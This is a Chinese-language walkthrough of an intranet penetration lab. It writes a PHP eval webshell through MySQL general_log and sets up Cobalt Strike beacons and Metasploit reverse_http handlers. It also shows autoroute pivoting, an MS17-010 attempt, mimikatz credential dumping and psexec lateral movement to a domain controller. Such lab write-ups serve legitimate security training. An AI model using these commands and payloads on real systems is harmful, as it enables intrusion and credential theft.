刚开始了解内网的时候做的,可能细节有问题的地方会比较多
0 - 环境配置
-
Vmware虚拟网络配置

-
三个靶机设置
- Win7(添加一张网卡)
- VMnet1
- VMnet2
- Win2003
- VMnet1
- Win2008
- VMnet1
- Win7(添加一张网卡)
-
攻击机(kali)设置
- VMnet2
-
网络拓扑
- kali ---> Win7 ---> ( Win2003 & Win2008 )
-
进入Win7
C:/phpStudy运行phpStudy并启动服务- 密码都是
hongrisec@2019
- 密码都是
1 - 外网渗透
1-1 发现主机
netdiscover -i eth0 -r 10.10.10.0/24 要等一小会儿(抓包)

1-2 端口探测
nmap -sV 10.10.10.129 (排除DHCP服务器之外可以都尝试一下)

1-3 资产发现
访问10.10.10.129,发现是个phpStudy探针页面

用dirsearch扫了一下,发现有phpmyadmin

访问/phpinfo.php,通过搜索document_root获得web目录的绝对路径为C:/phpStudy/WWW

1-4 Getshell
访问/phpadmin,并通过root/root弱口令进入系统
发现secure_file_prive = NULL,就是说不能直接用into outfile写shell

用一般日志写shell,先修改参数
set global general_log = on; set global general_log_file = "C:/phpStudy/WWW/r3col.php";

执行一个sql查询select "<?php eval($_POST['s'])?>"; 然后用蚁剑连接

2 - 内网渗透
2-1 CS上线
Cobalt Strike下载地址 & 使用方法
开启teamserver:
把CS文件夹copy到linux中,使用./teamserver linux主机ip password 运行teamserver

添加Listener:
主菜单(导航栏)Cobalt Strike--->Listener--->Add--->Payload=Beacon HTTP 填上teamserver的IP即可

生成木马:
主菜单(导航栏)Cobalt Strike--->Attacks--->Packages--->Window Excutable---> 选择刚刚添加的teamserver对应的Listener--->点击Generate
把生成的木马上传到目标主机并运行:

右键上线的机器,interact进入beacon ,先使用sleep 1把sleep时间调整为1秒
CS与上线机器的交互过程是:CS Client ---> CS Server ---- sleep 60s ----> Target PC
默认时间为60s,比较慢,在打靶机的时候可以设置为0/1
2-2 提权 & hashdump
提权:
右键上线的主机--->Access--->Elevate--->选择teamserver对应的Listener--->点击Launch

hashdump:

2-2 探测网络信息
在beacon中执行shell ipconfig
beacon的用法
shell CMD来执行系统命令

发现内网192.168.52.0/24 本机为143
shell systeminfo /all发现域god.org和登录服务器\\OWA

因为网络设置成NAT会从外网解析god.org域,所以这里把kali+win7(模拟外网)设置为主机模式,网段为192.168.72.0/24
net view(CS自带的命令,会自动探测IP)

shell net time /domain 一般来说,域内时间服务器就是域控

确认一下 shell net group "domain controllers" /domain

整理一下内网信息:
- 域
god.org
- 域内机器
- 上线机器(win7)
192.168.52.143
- 域控/域登录服务器
192.168.52.138owa.god.org
- 另一个域内机器
192.168.52.141
- 上线机器(win7)
2-3 横向移动
2-3-1 建立SMB Beacon
SMB Beacon使用windows管道(pipe)进行通信,可以把以此为枢纽,进行内网 <---> 外网的流量转发
首先,新建一个Listener,payload选择Beacon SMB

然后在要建立SMB Beacon的beacon对话框中输入spawn [Listener_Name]
(也可以选择对应的会话,右键-->Spawn--->选择新建的Listener)

2-3-2 msf与cs联动
之后借助msf进行渗透,建立目标路由:kali ---> cs-server ---> win7 ---> 内网
运行msfconsole并加载监听模块
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.72.129
set lport 8000
exploit
在CS中添加Listener,我没有找到如何创建foreign_reverse_tcp,(CS4.2)所以使用了foreign_reverse_http

选择system权限的win7会话,右键-->spawn--->选择刚刚新建的Listener

成功上线
2-3-3 配置静态路由
run get_local_subnets #查看网段/子网
run autoroute -s 192.168.52.0/24 #添加路由
run autoroute -p #查看路由
background #转入后台运行
下图表明,子网为192.168.52.0/24的流量都会通过刚刚建立的Session 9(win7)来路由

2-3-4 对DC进行扫描
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.52.138
set ports 80,135,139,3306,3389
run

发现445端口开启,可能存在ms17-010漏洞
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.52.138
run
试了很多次都没有成功

2-3-5 mimikatz
利用logonpasswords调用mimikatz,抓取到了可以登录域内机器的管理员账号,利用psexec建立连接:
Targets--->右键--->Jump--->psexec--->选择域管理员账号,并选择之前用来做smb转发的listener,session选择spawn出的机器

拿下域控




















